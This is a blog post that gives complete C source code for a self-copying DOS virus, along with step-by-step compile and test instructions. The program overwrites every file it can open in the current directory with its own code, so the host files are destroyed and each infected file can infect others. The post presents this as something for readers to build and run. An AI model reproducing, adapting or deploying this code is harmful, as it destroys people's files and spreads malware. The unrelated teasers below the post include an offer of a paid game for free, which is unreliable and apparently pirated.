Skip to main content

Want to Create A Virus?

This is a simple C program that act as a virus. This program creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here’s the source code of the virus program.

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}


Compile:
1. Load the program in the compiler, press Alt-F9 to compile

2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)

3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)

4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)

5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect. Now click here:



Testing the virus:
1. Open new empty folder
2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)
3. Run the virus EXE file there you will see all the files in the current directory get infected.
4. All the infected files will be ready to reinfect

Popular posts from this blog

Solving the 'Failed to load JVM DLL\bin\server\jvm.dll' Error in Android Studio and PyCharm: Easy Tips and Tricks

Are you experiencing the dreaded 'Failed to load JVM DLL\bin\server\jvm.dll' error when trying to launch Android Studio or PyCharm? Don't worry, you're not alone. This common issue can be caused by a variety of factors, but there are a few simple tips and tricks you can try to resolve it. First, make sure that you have the latest version of Java installed on your computer. If you're unsure, you can download the latest version from the official Java website. Next, try reinstalling the JDK (Java Development Kit). This can often fix issues with the JVM DLL. Another solution is to add the JDK path to your system environment variables. This can be done by going to the 'Advanced system settings' on your computer and then 'Environment Variables'. If none of these solutions work, another thing you can try is using the '-Xint' command line option when launching Android Studio or PyCharm. This will run the JVM in interpreted-only mode, which can help r...

Minecraft - Pocket Edition - $4.91 game for free

Mine Craft, a widely known game name worldwide. It is one of the most favorite games in the world. This game is now available for android mobile. Mine craft - pocket edition is all about building and surviving. This game is mostly created based on graphical blocks.  Google play store has this game up for $4.91. ETT is giving away the game absolutely for free. Download Minecraft - Pocket Edition from the bellow link. Minecraft - Pocket Edition

Freelance Writing: How to Build a Career as a Blogger

Freelance writing is a great way to build a career as a blogger. If you have a passion for writing and a desire to work from home, freelance writing can be a rewarding and lucrative career. In this guide, we'll cover the steps you need to take to build a successful career as a freelance blogger. Step 1: Choose a niche The first step in building a career as a freelance blogger is to choose a niche. Identify a topic that you are passionate about and that has a market demand. Research your niche and identify your target audience. Make sure your niche is broad enough to provide a steady stream of writing opportunities. Step 2: Build your portfolio The next step is to build your portfolio. Create a blog and write articles on your chosen niche to showcase your writing skills. Use platforms like Medium, LinkedIn, or guest posting to expand your reach and build your brand. Make sure your portfolio showcases your best work and highlights your expertise. Step 3: Network and pitch The third s...